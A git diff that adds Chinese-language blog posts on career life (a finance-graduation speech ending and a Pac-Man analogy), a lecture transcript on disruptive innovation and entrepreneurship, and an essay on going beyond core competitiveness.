+我讲这三句话，是希望同学们对金融的本质有一个清醒的认识。有人认为金融业薪酬高，人人都能赚大钱，是发财致富的捷径；有人认为金融业“高大上”，穿名牌西装，住豪华酒店，往来“上流”社会；有人认为金融业工作清闲，喝喝酒、聊聊天，觥筹交错之间就能谈成大单，沉醉于岁月静好、月白风情；有人认为金融业是垄断行业，是市场中的“甲方”，上海话就是面孔朝南的一方，人人都围着你转；有人认为金融充满幕后操作，把金融业神秘化；更有人因为近年来金融业丑闻不少，认为搞金融的都是吸血鬼，把金融业妖魔化。在这里，我想告诉大家的是，这些都是假象，都是虚幻的错觉、浮华的误解。 + +金融是用知识去创造价值： + +金融本质上就是具有中介性质的现代服务业，既不是阳春白雪，也不是妖魔鬼怪，更没有那么神秘。每一位金融从业者，都需要用知识去创造价值，用劳动去赢得客户，用调查分析去规避风险，都必须沉心静气下真功夫、苦功夫。一旦踏入金融行业，加班加点将成为你的工作常态。我国金融从业人员每周平均工作时间超过56小时，遇到特殊岗位、重大项目，基本上是“5+2”“白+黑”。一旦踏入金融行业，你会经常“为钱发愁”。如果在商业银行工作，你要四处求人拉存款，绞尽脑汁寻找优质放贷对象，稍有疏忽就可能坏账；如果在投行工作，你会像项目承包商一样，全国各地找项目，求人给你IPO，要找法务财务梳理包装，要找分析师咨询，要找投资人询价，要找证监会审批，要组织路演，经常是多方求人、多头碰壁、四处受气。即便是进入企业财务部，也丝毫谈不上轻松，会经常为企业现金流而操心。一旦踏入金融行业，你还要与残酷竞争为伴。 金融业还是一个高风险的行业。面对各种或明或暗的陷阱，必须战战兢兢、如履薄冰，稍有不慎，就可能陷入困境甚至是危机。在商业银行，你可能遭遇呆账、坏账，让自己所有努力化为乌有；在保险公司，你可能遇到骗保而影响业绩；在证券公司，一次操作失误，就可能让个人甚至公司陷入资金周转困难；在投行，市场波动和潜在风险，可能让你血本无归；在一些网络金融企业，甚至可能因为单位的业务规程就是一个庞氏骗局，你作为具体工作人员，不识庐山真面目，愈是努力按主管要求办事，愈是把你拖入犯罪的深渊。如此种种，不一而足。 希望同学们守住本心、不忘初心。自觉肩负起新时代赋予金融人的重大使命，坚守学习金融、投身金融的初心，坚守献身事业、回报社会的理想，为金融改革发展铺路架桥，为祖国经济建设添砖加瓦。 + +同学们！习近平总书记讲过，“人的一生只有一次青春。现在，青春是用来奋斗的；将来，青春是用来回忆的。”希望同学们珍惜青春时光、挥洒青春才情，今后回首往事时，可以骄傲地说，我把青春献给了最热爱的金融事业，实现了人生的升华与超越！ 最后，祝大家乘风破浪、勇往直前，前程似锦、圆梦明天！ \ No newline at end of file diff --git a/_posts/2021-06-18-557-Pac-Man.md b/_posts/2021-06-18-557-Pac-Man.md new file mode 100644 index 0000000..cb53378 --- /dev/null +++ b/_posts/2021-06-18-557-Pac-Man.md @@ -0,0 +1,55 @@ +--- +layout: post +title: 生活就像《吃豆人》游戏 +pid: 557 +tags: [岗前培训] + +--- + + + +有一个经典游戏，叫做[《吃豆人》](https://baike.baidu.com/item/吃豆人/9119559)（Pac-Man）。1980年发布的，很多人现在还在玩。 + +![img](https://cdn.beekka.com/blogimg/asset/202106/bg2021060615.jpg) + +游戏很简单，吃完迷宫里的豆子，就能过关，但是不能被妖怪抓住。四个妖怪的策略各有不同，红色的在后面追你，粉色的在前面拦截，蓝色的在路口埋伏，橘色的随机漂移。迷宫里还有四颗能量豆，每吃掉一颗，你就能反戈一击，消灭一个妖怪。 + +谷歌发布过一个[网页在线版](https://www.google.com/search?q=pac-man)，没玩过的朋友可以感受一下。 + +![img](https://cdn.beekka.com/blogimg/asset/202106/bg2021060901.jpg) + +提到这个游戏，是因为我最近看到了[一篇文章](https://mahmoud-mohamed-bahaa.medium.com/i-spent-18-months-making-a-decision-heres-what-i-learned-the-pac-man-approach-c943e687413a)。 **一个国外的年轻程序员说，他觉得，自己的生活就像一场《吃豆人》游戏。** + +> 大学毕业后，我不知道该干什么。读研究生，还是找一份体面的工作？像其他人一样，最终我选择了那些很光鲜的职业，即使它跟我的兴趣并不吻合。对于未来，我毫无头绪。 +> +> 我有时觉得，自己的生活与《吃豆人》游戏有许多相似之处。我困在迷宫里，只有快速拿到积分，才能过关。在这个迷宫中，妖怪四处游荡，试图吃掉你，如果被它们抓住，你就会死掉一条命，游戏重新开始。 +> +> 我的生活好像就是一局游戏。我真的不知道该去哪里，如何晋级，什么时候妖怪会突然出现。 + +他这么一说，我顿时觉得，《吃豆人》真的很像生活的一个缩影。我们每天都在人生迷宫里探索，寻求出路。各种挫折打击在周围埋伏着，不知道何时，就会向你扑来。想要赢得游戏的唯一方法，就是尽量避开妖怪，快速吃掉能量豆，壮大自己，晋升到下一关。 + +![img](https://cdn.beekka.com/blogimg/asset/202106/bg2021060617.jpg) + +以程序员为例，毕业后进入互联网公司，就是游戏开始了。你必须不停闯关，一步步晋升，从初级程序员到中级程序员，再到高级程序员，然后是团队 Leader 或者部门主管。如果有一关卡住了，在某个级别上停留过久，你就很危险，遇到妖怪的概率越来越大，随时可能 Game Over。你最多只有十到十五年的时间，到达中高职级，否则就留不下来，时间一到不得不离开公司。 + +**不仅是程序员，其它竞争性的行业，都是这种游戏规则。** 大家印象中，大学教授是一个很舒服的职业，不坐班，每年还有寒暑假。但是，国内高校现在引入了美国的制度，而且还是加强版：年轻博士从讲师当起，给你六年时间，竞争寥寥无几的正式编制。如果六年内出不了成果、发不了足够的论文，那就必须离开，因为学校不会养一个讲师养到老。这叫做["非升即走"制度](https://www.163.com/dy/article/FVDFHGVA05488SSE.html)，英语叫做 Tenure track。这不就像《吃豆人》游戏的真人版吗。 + +进一步说，每天上下班高峰时间，地铁上挤满了人，大家都在参与一线城市这个大型游戏。若干年内，如果得不到结果，就要离开，回到二线或三线城市。 + +![img](https://cdn.beekka.com/blogimg/asset/202106/bg2021060903.jpg) + +其实也不是一定要参与这种游戏，你也可以降低物质欲，选择不与其他人竞争的生活。但是，如果已经身在其中，或者不得不参与，那么下面几条《吃豆人》游戏的快速过关策略，似乎可以参考。 + +> （1）不能留在原地，妖怪会感知你的位置。 +> +> （2）必须时刻在前进。 +> +> （3） 一旦前面的路上出现妖怪，必须立刻改道。 +> +> （4）尽快吃掉离你最近的能量豆，取得阶段性成果。 + + + +# 参考 + ++ [科技爱好者周刊（第 162 期）：生活就像《吃豆人》游戏](http://www.ruanyifeng.com/blog/2021/06/weekly-issue-162.html) \ No newline at end of file diff --git a/_posts/2021-07-06-558-Entrepreneurship01.md b/_posts/2021-07-06-558-Entrepreneurship01.md new file mode 100644 index 0000000..8ffd665 --- /dev/null +++ b/_posts/2021-07-06-558-Entrepreneurship01.md @@ -0,0 +1,608 @@ +--- +layout: post +title: 明天的方向，比今天的地位更重要 +pid: 558 +tags: [EMBA, 企业家精神] + +--- + +**内容来源**：2020年11月3日，交大安泰EMBA直播栏目“安泰视界”第16期《全球变局与创新突破》。 + +**分享嘉宾**：孟宪忠，交大安泰EMBA《领导力反思》、《企业家精神》课程教授。 + +**注**：笔记侠作为合作方，经讲者和主办方审阅授权发布。 + + +大家好，我今天想跟大家分享的主题是“数字化时代的创新与企业家精神”。我会分为两个方面来分享： + +第一方面，创新才有未来； + +第二方面，我们如何创新。 + +**一、创新才有未来** + +**1.20世纪的经验无法引领你进入21世纪** + +20世纪的经验不能引你进入21世纪，我们可以从两个产业来看一看。 + +① 汽车产业 + +说到20世纪的汽车产业，就不得不谈到奔驰。1886年，本茨先生发明了汽油机，然后就有了奔驰汽车，所以我们可以说奔驰汽车的历史就是汽车产业的历史。 + +我们再看宝马，它是20世纪最好的量产汽车的品牌。 + +我们再看福特，它发明了汽车的流水线，大大提高了汽车生产的效率，保证了汽车的质量，改变了整个汽车的生产方式。 + +我们再看一看美国的通用汽车，它是全世界最早一个达到年产1000万辆的汽车，因为它的市场营销做得非常好，说到市场营销就不得不提到通用汽车的领导者阿尔弗雷德·斯隆了。他做了四件事： + +> 第一，市场细分，他把车分出了档次； +> +> 第二，通用汽车一年推出一个新款式； +> +> 第三，他做了贷款购车； +> +> 第四，他做了二手车置换。 + +所以整个20世纪汽车的销售方式，几乎斯隆都做了一个很好的尝试。 + +其实你回头一看，这就是整个汽车产业的发展史：**从产业产生到创造品牌，再到生产方式的改变和完整的市场营销。** + +我们可以看到奔驰的历史、宝马的品牌、福特的流水线、通用的市场策略在当时都是不可一世，但到今天，所有这些汽车厂在一定意义上都陷入了挣扎，都面临着生死的抉择。 + +我们现在的汽车产业正在告别20世纪的汽车，正在改写20世纪的汽车，谁在改写呢？ + +从来没有制造过汽车的Google、特斯拉、AeroMobil、local Motors。我们都知道汽车的定义就是以燃油发动机为动力的交通工具，可是大家仔细看特斯拉，它再也不烧油了。 + +![](/uploads/2021/07/07-01.png) + +汽车原先是在道路上跑的，但有一大批飞行汽车公司让车飞上了蓝天。他们认为人类的交通方式经过了四个时代：运河时代（1800~1850）、铁路时代（1850~1900），公路时代（1900~2000），最后是空路时代（2000~2100）。 + +![](/uploads/2021/07/07-02.png) + +我们再看第四个汽车厂洛克汽车公司（LOCAL MOTORS），它的理念不是建造汽车，而是重塑汽车，所以它的汽车是3D打印出来的。 + +二十一世纪的这四个汽车厂和20世纪的四个汽车厂完全不同，汽车行业为什么要发生变革？因为各个国家都制定了燃油汽车退出市场的时间表。所以我们可以看一个问题，为什么过去的汽车没有办法走进21世纪？ + +**第一**，福特、通用、奔驰、宝马、奥迪、大众这些公司在20世纪都是最好的汽车公司之一，可是谁能想到这些汽车公司的股票市值加在一起，也没有一个2002年创立的特斯拉的股票市值高。 + +**第二**，自动驾驶领头羊Waymo，它的产品还没有下线，估值就高达2500亿美元。 + +所以我们必须要思考：21世纪，我们应该怎么样去创新？20世纪的经验没有办法引领你到21世纪，我们必须要有21世纪创新的做法，才能赢得21世纪。 + +② 文化产业 + +迪士尼现任CEO罗伯特·艾格最大的成就就是带领迪士尼从20世纪传统的文化模拟产业，过渡到了21世纪的信息化的文化模拟产业。 + +我们都知道，在20世纪末年，迪士尼面临一个破产的危机，为什么？ + +1928年，迪士尼成立，华特·迪士尼画了米老鼠、唐老鸭；1955年，迪士尼在洛杉矶创建了主题公园。 + +这是当时最好的文化产业，但是我们不要忘记，这都是一个模拟性的文化产业。所以面对迪士尼的困境，艾格讲了一句话“我们必须改造迪士尼的基因，要让米老鼠接过星光剑，要让白雪公主走出天鹅城堡，翱翔在浩瀚的宇宙”。 + +艾格是怎么带领迪士尼转型的呢？ + +**首先**，艾格看到了乔布斯的皮克斯公司、艾伦的漫威公司、卢卡斯的影业、20世纪福布斯公司，看到他们拥有着现代的信息化的制作技术。 + +所以艾格以他自己的真诚感动了这些经营者，乔布斯把皮克斯给了迪士尼，迪士尼就拥有了皮克斯的动画制作技术和皮克斯的大量IP。 + +**其次，**他扩展了整个迪士尼的想象力，迪士尼原来大多数都是自有IP，从米老鼠到唐老鸭，从小熊维尼跳跳虎，大多数都是小动物。可是你今天让90后沉醉在这些小动物里，绝对是不可能的。 + +他们要看的是宇宙之间的打群架，所以才有复联3、复联4了。所以，迪士尼也开启了“买买买”模式，将外部优秀的IP纳入自己的手中。 + +![](/uploads/2021/07/07-03.png) + +所以我们会看艾格带领迪士尼进行了21世纪转型，使得整个迪士尼从模拟的文化产业过渡到了信息化的文化产业。 + +迪士尼经过转型后，迪士尼的股票市值从400亿美元涨到了今天的2257亿美元。 + +可是请大家看一看1997年创建的奈飞，股票市值达到了2317亿美元，超过了1928年成立的迪士尼。因为奈飞不仅仅是数字化运行的流媒体，还创造了许多内容，比如大家耳熟能详的纸牌屋。 + +所以我们看到文化产业，不论是从创造的想象力，还是创造的技术手段，没有一天可以停滞不前。 + +![](/uploads/2021/07/07-04.png) + +看完这些，我们或许有这样一个启发：**20世纪的经验不能引领你到21世纪，明天的方向比今天的地位更重要。** + +所以我们非常欣赏Web2.0概念提出者蒂姆·奥莱利说的一句话，“**要理解未来，就需要我们摒弃关于现在的思维模式，放弃那些看起来顺理成章甚至习以为常的思想观念**”。 + +我们永远应该记住彼得·德鲁克的告诫，“**创造未来的第一原则就是告别昨天**”。 + +**2.21世纪最重要的创新，是颠覆式创新** + +① 颠覆你的，从来不是同行 + +什么是颠覆性创新？ + +假如让你思考一下，你是中国民营航空公司的老总，需要你来制定民用航空公司未来发展的规划，按照我们20世纪学的管理学的理论、战略，毫无疑问，肯定是标杆管理，我们对标当下航空业中做的最好的公司，然后学习它的经验，想办法超过它或赶上它。 + +在制定这样一个规划的时候，许多人都跟我这样提，“我争取在2030~2050年，让我的飞机制造水平接近波音和空客”，这就是我们延续性的思维方式，这就是我们用过去的经验来制定未来的战略，这不是颠覆性创新，可是实践永远走在了我们陈旧理念的前面。 + +下面，我们来看看今天的颠覆性创新。 + +![](/uploads/2021/07/07-05.png) + +今年，马斯克实现了用飞船搭载两位宇航员在太空站对接、返回。马斯克的理想是在2029年实现火箭载人运送旅客，通过这种飞行方式，从纽约到上海只用39分钟。 + +所以这就出现一个问题，远距离飞停，你就是把飞机做得再好，从纽约到上海十几个小时，10年之后人们会不会坐呢？ + +除此之外，并不是马斯克一个在做这件事，亚马逊CEO贝佐斯、英国维珍公司的董事长布兰森也在做，所以他们都说“我们要使火箭不入轨飞行，实现一种洲际运输飞行”。 + +![](/uploads/2021/07/07-06.png) + +大家看这张图，上边是我们的高速公路，高速公路走的是大巴士，下边是小轿车。大家都愿意自己开小车或者坐出租，不愿意做巴士，因为巴士不方便。 + +我们可不可以想一下，既然公路的公共巴士能变成小车，以后我们空中的巴士可不可以也变成小飞机这种私人出行方式？大家可能会说这是天方夜谭，其实并不是。 + +![](/uploads/2021/07/07-07.png) + +这就是CityAirbus的城市出租小飞机，外形酷似无人机，然后在城际之间飞行。CityAirbus团队认为空中交通是未来的一个重要的交通方式。 + +![](/uploads/2021/07/07-08.png) + +右图是到2030年我们国家八纵八横的高铁图，我们现在的高铁每小时300公里。 + +在1200公里之内，坐高铁三个小时就到了，而坐飞机最少也要一个小时，去机场将近两个小时，出机场将近两个小时，再加上飞机晚点，至少5~6个小时，远不如高铁方便。 + +而且，高铁马上要达到500公里/小时了，如果达到了，2000公里之内的航程，基本上我们都会选择坐高铁。 + +所以跟飞机竞争的绝对不仅仅是飞机，还有火箭、小飞机以及提速的高铁，这一切就告诉我们，我们不能用单纯的民用航空飞机思考民用航空，我们要思考远距离的火箭飞行，还要思考城际之间的小飞机飞行，以及思考高铁对民航的替代效应。 + +② 数字化时代，一切都在颠覆 + + + +我们今天是数字化的时代，数字化时代，一切都在颠覆。 + + + +今天，有一个非常重要的概念“上云数转”，我们很多的事情必须在云上运行，我们很多的事情要转向数字化。 + + + +![](/uploads/2021/07/07-09.png) + + + +上图是海德堡印刷机、理光打印机和斯洛复印机，大家看今天还有吗？我们基本上不打印了，我们都是无纸办公。 + + + +![](/uploads/2021/07/07-10.png) + + + +再看一看我们的收音机、录音机、电视机，还有多少人在用？中国第一家胶片厂是保定电影制片厂，大家看看今天拍电影我们还用胶片吗？ + + + +在20世纪，这一切都是物理形态的，都是实物形态的。而在今天，阿里将要推出阿里云电脑，只有一张卡片，没有硬盘、CPU，所有的东西都在云端。 + + + +所以，这是一个从物质形态过渡到数字化形态、此时无形胜有形的时代。在这里，我们一定要避免一个误区：**实体经济不等于实物经济，数字化实现的功能，有时比纯粹物理结构的物品实现的功能还强大。** + + + +![](/uploads/2021/07/07-11.png) + + + +当然，我们不可能把所有的东西都数字化、程序化，所以在世界上有一句话： + + + +> 能减物质化的，你就减物质化生产；能去物质化的，你就去物质化生产；能变成数据的，你都变成数据，如果你不能完全变成数据，你就让物质嵌入数据，这才是21世纪经济的一个重要的本质。 + + + +③ 颠覆性创新的本质 + + + +我们的交通方式在颠覆，我们的工作娱乐、学习生活方式也在颠覆，这是一个颠覆性创新的时代。 + + + +我们可以从客户角度、竞争对手角度、产业性质角度和社会效益角度四个方面，来看颠覆性创新的本质： + + + +**a.客户价值发生了变化** + + + +举例：Google做无人驾驶汽车，它做出了过去做不出来的价值，比如，解放了你的双手，开车更安全了。 + + + +**b.竞争方式发生了变化** + + + +以前，发动机是一个最重要的交通工具竞争的方式，汽车比发动机缸数，飞机比发动机功率。可是今天你回头一看，汽车不烧油了，不用发动机了，我们不是用飞机来竞争了，可能要竞争火箭的发动机了。 + + + +**c.竞争对手发生了变化** + + + +打败你的，再也不是行业内的对手了。比如，挑战航空的不仅仅是航空业，还有高铁、小飞机、火箭。 + + + +**d.产业性质发生了变化** + + + +工业化时期，汽车就是一个行走机械，今天的汽车是四个产业的融合：智能产业、新材料产业、新动力新能源产业、汽车产业，所以创新绝对不是单一的，一定是需要我们融合各项实业。 + + + +最后，我们可以看得，一切创新背后的力量是数字化、云计算、物联网，是智能驱动，一切都在上云数转。 + + + +**3.颠覆式创新的3点启示** + + + +今天的变革不是企业问题，而是行业问题，同时，我们需要创造很多20世纪没有的新行业。 + + + +实体经济不等于实物经济，21世纪的生产是减物质化、去物质化生产，是物质嵌入智慧的生产，产品、服务不嵌入智慧，我们也没有未来。 + + + +我们现在有太多的技术盈余，它可以推进我们进行颠覆性创新。 + + + +![](/uploads/2021/07/07-12.png) + + + +我非常欣赏爱因斯坦说的一句话，“**同一个思维层次解决不了同一个思维层次的问题，你不能用造成问题的思维方式解决问题**”。 + + + +我们绝对不能用20世纪工业化的思维方式来引导21世纪的创新，我们必须用21世纪的技术，推进我们颠覆性创新的思维方式，推进21世纪的创新。 + + + +**4.未来已来** + + + +我们今天面临着人类历史上从来没有面对过的巨变、剧变和聚变，小的时候，我们都知道未来与现在截然不同，但小的时候我们会认为未来是50~100年以后的事，与我无关，可是在这个近未来的时代，未来很快就会到来。 + + + +10年前要跟中国人说，我们再也不花纸币了，所有的人都不会相信，可是到今天，你都没地方花纸币了。 + + + +所以这是一个明天的方向比今天的地位更重要的时刻，我们要学会抛弃过去，告别昨天，创新未来。 + + + +彼得·伊利亚德曾说过一句话： + + + +“我们处在近未来之中，我们都将面对与参与到未来之中。如果今天你不生活在未来，那么，明天你将生活在过去。” + + + +**二、我们如何创新？** + + + +我谈三个观点： + + + +第一，我们必须要以企业家的创新精神推动创新。 + + + +第二，我们要以创新方式的创新实现创新。 + + + +第三，我们要以洞察和逻辑相结合来实现创新。 + + + +**1.以企业家的创新精神推动创新** + + + +什么是企业家？历史上对于企业家有四点定义： + + + +> 他是资源的整合者，他整合了土地、劳动力、资本； +> +> 他是风险承担者，做事业不一定能成功； +> +> 他是开拓创新者，因为企业家的本质就是创新； +> +> 他还是社会责任的承担者。 + + + +所以今天我们怎么能创新？你作为一个企业家，你要承担一切、奉献一切，你才能真正的创新。 + + + +创新之前，要先解决2个前提： + + + +第一个，缺少危机感。 + + + +我们依赖着资源，我们依赖着垄断，我们依赖着政策，我们依赖着自己过去的规模优势，我们依赖着过去自己的核心竞争力，所以就不去创新了。但当形势变了的时候，所有的依赖都是葬送，所有的靠山都没有任何意义。 + + + +除了这些条件性的依赖，我们还有思维路径和行为路径的依赖，突破了这一切，我们才能创新。 + + + +举个例子： + + + +PC时代，比尔·盖茨的理念是“让每个家庭、每个办公室都有一台电脑”，所以微软一飞冲天； + + + +到移动互联网时代，微软迷失了方向，开始走下坡路； + + + +到了2012年，纳德拉成为了微软CEO，领导微软重新实行了战略转型，微软不仅仅要做软件，还要开辟云端服务。所以在云时代，微软重生了。 + + + + + +我们再来对比下微软与谷歌。 + + + +1996年，微软成为全世界排名第一的信息化公司，比尔·盖茨成为全世界首富。 + + + +1996年，微软Windows事业部主管史蒂文·辛诺夫斯基跟比尔·盖茨说了一句话，现在大学生正上网了，我们是不是也应该上网。 + + + +比尔·盖茨当时说，“我要怎样才能让你们专注，关键在于视窗操作系统，关键在于不惜一切代价将其做好。需要的不是50%的注意力，也不是90%的注意力，而是120%的注意力。明白了吗？我根本没有精力浪费在纽约州北部的一群大学生身上，或者那些微不足道的在一年或半年内就会破产或消失的公司身上”。 + + + +这一天，斯诺夫斯基看到了未来，比尔.盖茨没有看到，他拒绝观察这种未来。在比尔·盖茨的心中：微软的战略就是视窗。 + + + +当时，比尔·盖茨是首富，比尔·盖茨的微软是全世界第一的公司。而Google创始人拉里佩奇、谢尔盖布林就是在教室里读书的两个学生，没公司、没钱、没经验，但他们就是在一个车库里硬生生地创造了Google。 + + + +所以到了2008年，比尔·盖茨占据了通往个人电脑的第一个台阶，可是他没有预见到一开始仅仅服务于学术、科研交流的互联网。 + + + +所以他说，“互联网以爆炸般的姿态闯入了公众的意识，而人们的感觉就好像是微软并没有被邀请参加这场游戏，互联网的发展对我们来说几乎成了世界末日即将来临的征兆”。 + + + +从这个案例中，我得到一个启示：过分拘泥于自己的成功，是没有未来的。 + + + +![](/uploads/2021/07/07-13.png) + + + + + +世界上有四种组织： + + + +第一种是创造趋势。 + +第二种是适应趋势。 + +第三种是迷茫趋势。 + +第四种是对抗趋势。 + + + +你和你的组织在巨大变革面前是哪一种人？我们需要认真思考。 + + + +第二，不要伪创新、不要急功近利。 + + + +![](/uploads/2021/07/07-14.png) + + + +这是几年前大肆宣传的空中巴士，当时空前火爆，但我们稍微动下脑筋想一想，这么大一个车体怎么转弯？能有多少科学含量？ + + + +![](/uploads/2021/07/07-15.png) + + + +你看上面的国产车跟保时捷一模一样，起个名还叫保时泰。这叫创新吗？ + + + +所以，我们一定要以企业家精神真诚地去创新。 + + + +**2.以创新方式的创新实现创新** + + + +创新方式非常重要，我们过去只要有一个部门创新就可以了，但今天从方式上，我们必须从部门封闭创新到平台开放创新，我们必须从RND到CND创新，我们必须从研发创新到购发创新，我们必须从行业技术引导创新到智能技术引导创新。 + + + +在所有创新过程当中，我们要关注年轻人，关注大卫，关注业余，我们一定要认识到涌现大于权威。 + + + +① 从部门封闭创新到平台开放创新 + + + +封闭的创新就是在一个漏斗里扔进很多主意，然后在这里挑好主意，但这个漏斗是封闭的。如果变成开放式创新，除了我们内部的主意、客户的主意，其它行业的主意也可以进入到我们的漏斗系统。 + + + +![](/uploads/2021/07/07-16.png) + + + +② 从RND（研发）到CND（联系与发展） + + + +举个例子，苹果是个平台企业，iPad上的应用程序近几百万个，苹果开发的不足上百个，99.99995%的应用程序由第三方开发。 + + + +**如果今天你没有连接人、没有连接思想、没有连接技术，就很难连接未来。** + + + +③ 从研发创新到购发创新 + + + +我们一方面要自己研发，另一方面，我们也可以去购发，但这跟兼并不一样。兼并是我们兼并现在的同类项，比如，我是做钢厂的，我把其他钢厂兼并，占领更大的市场份额。 + + + +购发是什么？我们发现很多小的苗头，我们兼并并着眼于未来。比如，无人驾驶汽车不是Google研发的，安卓系统也不是Google研发的，都是Google购并过来的。他们购并的不是大的生产能力，而是想法、技术和理念。 + + + +我们一定要认识到信息技术在改变一切。 + + + +**3.以洞察和逻辑结合来推进创新** + + + +① 创新来源于洞察 + + + +1973年，马丁库伯发明了手机，他是怎么发明的？ + + + +马丁·库帕说，他发明手机的灵感来自于电视剧《星际迷航》，“当我看到剧中的考克船长在使用一部无线电话时，我立刻意识到，这就是我想要发明的东西。” + + + +![](/uploads/2021/07/07-17.png) + + + +1973年正在播放电视剧《星际迷航》，考克船长的那部无线电话，就成为了库帕和他的团队发明手机的原型。 + + + +![](/uploads/2021/07/07-18.png) + + + +左图是早年的计算机大型主机，右边是牵牛星8800，是西墨西哥州罗伯特发明的人类第一台个人电脑，这台电脑既没有显示屏也没有键盘，面板上有16个开关，上下拨动代表着0和1。 + + + +1975年1月，大众电子杂志登了这个计算机的图片，而比尔·盖茨在哈佛门口的三角书亭看到了这本杂志，他说，“我全部的故事就来自这个封面，我想把个人电脑变小，让每个人都有属于自己的电脑”。 + + + +![Image](data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWNgYGBgAAAABQABh6FO1AAAAABJRU5ErkJggg==) + + + +而在遥远的西海岸，孙正义在平常光顾的超市里买了一本《现代电子》的科学杂志，其中刊载一张照片吸引了他的注意，这是一张英特尔公司心眼发出的i8080中央处理器的放大图。 + + + +孙正义确定这小小的芯片能改变人的未来。他感叹道：这是迄今为止，人类最伟大的发明，这个发明会极大地拓宽人类的生产与生活。 + + + +孙正义将照片剪下来，放进活页夹，然后放到书包里，天天背着它。晚上睡觉也放在枕头下。正是从这张照片，孙正义看到了计算机的未来，看到了自己的未来，他要走进计算机的世界。 + + + +你会发现，这些创新很大的成熟来源于洞察，不仅仅是来源于技术和文学的想象。 + + + +② 没有文化的决策，注定是肤浅的决策 + + + +我在法国的时候，法国的一些文化界的名人跟我说了一句话，“20世纪伟大的科学创造在一定的意义上，不过是重复了儒勒凡尔纳（科幻小说之父）的科学幻想而已”。 + + + +![](/uploads/2021/07/07-19.png) + + + +这是麻省理工学院的校徽，校徽上面有三个英文词，science（科学），中间是and（和），下面是art（艺术）。从1861年开始，麻省就提倡我们培养的是有文化修养和艺术品位的科学工作者。 + + + +今天讲的这些事情，就是想告诉大家：**如果我们没有修养，没有文化，没有逻辑分析，我们许多的创新就很难做好。** + + + +大家仔细想一想，这些年我们有很多地产企业叫板迪士尼，可是所有做地产产业的企业转做文化产业，都没做成功，原因是什么？缺少修养，我们忘了迪士尼有8000多个IP，这不仅仅是一个硬件建设的问题。 + + + +最后，我们怎么才能创新？ + + + +所有这一切给我们一个启示：我们应该有企业家精神，更真诚；我们应该有新的创新方式，更开放、更融合；我们应该给创新一个宽阔的土壤，更宽容。 + + + +这样，我们就会有真正的创新，使得我们国家走向更美好的未来。 + + + +谢谢大家！ + + + +# 参考 + ++ [明天的方向，比今天的地位更重要](https://mp.weixin.qq.com/s/4trpy04vrvNJhn-E2-tAOQ) diff --git a/_posts/2021-07-06-559-Entrepreneurship02.md b/_posts/2021-07-06-559-Entrepreneurship02.md new file mode 100644 index 0000000..f0d99a6 --- /dev/null +++ b/_posts/2021-07-06-559-Entrepreneurship02.md @@ -0,0 +1,306 @@ +--- +layout: post +title: 超越竞争力 +pid: 559 +tags: [EMBA, 企业家精神] + +--- + + + +![](/uploads/2021/07/07-33.png) + +写下这个题目，朋友问是否写错了，竞争力是企业的盈利能力和致胜能力，为何还要超越呢？ + +凡是在历史上产生的理论往往都有其产生的历史条件，有其适应的时间和空间，在历史条件、时间和空间发生了巨大变化的背景下，再拘囿于这一理论无异于刻舟求剑、缘木求鱼。产生于20世纪的竞争力理论亦是如此。 + +![](/uploads/2021/07/07-20.png) + +核心竞争力理论诞生于20世纪90年代，对于促进企业发展曾经发挥了积极的作用。竞争力是一个相对概念，是在与其他企业的竞争中表现出来的。如果一个企业的产品、服务的价值更大、成本更低，自然受到更多客户的欢迎，市场占有率就会领先，企业也就会越发强大。这也就是人们通常所说的“客户是竞争力的裁判”。 + +显而易见，那些20世纪拥有核心竞争力的企业都是一度的成功者。柯达的相机和胶片因其质量优良、功能多样且使用方便而独占鳌头；诺基亚、摩托罗拉、爱立信等手机以其功能实用和小巧方便位居手机前列；福特、通用、丰田、奔驰、宝马是20世纪量产燃油车的常年赢家……从一定意义上说，20世纪500强多是领先对手并具有核心竞争力的企业。 + +![](/uploads/2021/07/07-21.png) + +市场总是很残酷，时至今日，那些20世纪80年代的世界500强已有近70%被淘汰出局。为什么强大的核心竞争力不再管用了，为什么这些企业帝国大多成为昨日黄花？ + +这是因为，20世纪的核心竞争力本质上是现有技术、产品、业务的竞争力，尽管现有技术、产品、业务也在发生变化，但大多是量变范围的变化、是改善型变化、是渐进式变化。 + +如上世纪70年代柯达的机械相机，尽管自动化程度提高到不用再调焦距、设定快门时间了，人们甚至亲切的称呼其为“傻瓜”相机。宝丽来也实现了一次成相即出照片的功能。但这些变化更多是化学成像技术的完善，而不是对化学成像的革命。 + + + +如20世纪汽车产业也取得了长足发展，发动机动力越来越强，从自然吸气到涡轮增压，变速箱也从两级变速到多级变速再到无级变速，但这些变化都属于燃油车发动机、变速箱技术的完善优化，而非颠覆性的创新。 + + + +总而言之，20世纪的技术、产品、业务大都是在既有框架下的持续完善，所以提升现有竞争力就可以了，强调对标比超同行业最佳企业就可以了，强调从优秀到卓越就可以了。 + + + +到了21世纪，太多行业的现有技术、产品、业务及模式都难以适应新的客户需求，同时数字化驱动下新技术、新能源、新材料又提供了颠覆变革的可能性。面向未来，企业除了提升现有良性业务的竞争力外，更需要适应客户不断变化的新需求、适应技术发展、社会发展新趋势的能力，更需要应对不确定性负面冲击的反脆弱能力，更需要否定自我、战胜自我的持续学习能力。这才是未来企业更需要的系统发展能力。 + + + +![](/uploads/2021/07/07-22.png) + +必须超越竞争力，因为在技术、经济大变革时代，一个企业即使在现有的技术、产品、业务范围内打败了现有对手，依然可能输给时代的新变化、技术发展的新趋势、客户多样性新需求。柯达不是因为机械相机竞争力不强而被淘汰，而是输给了数码技术；奔驰不是因为燃油车技术竞争力不足败给特斯拉，而是被新能源超越；诺基亚不是因为传统手机技术升级迟缓而被iPhone碾压，而是智能机取代了功能机；邮政逊于快递、信用卡被手机支付替代、短信被微信挤压……这些皆是因为新时代颠覆了曾经的技术、产品、业务，为客户创造了过去从来没有的价值。 + + + +![](/uploads/2021/07/07-23.png) + + + +**彼得 • 德鲁克曾说：动荡时代最大的危险不是动荡本身，而是沿用过去的逻辑做事。**面对巨大的变革，还强调单一的当下竞争力就存在一种风险，一种被整体颠覆的风险。因而，我们必须形成企业新的系统发展能力。 + + + +万物同理，大道相通。自然界中的力量不是单一的，而是包括四大基本力：引力、电磁力、强相互作用力、弱相互作用力。而关于企业的系统发展能力，也包括： + + + +- 现在技术、产品、业务、模式的竞争力 +- 适应客户新需求、适应技术新发展、适应社会新趋势的适应与创造未来能力 +- 应对不确定性负面冲击的反脆弱能力 +- 超越自我、战胜自我的持续学习能力 + + + +![](/uploads/2021/07/07-24.png) + +\- 企业的系统发展能力图谱 - + + + 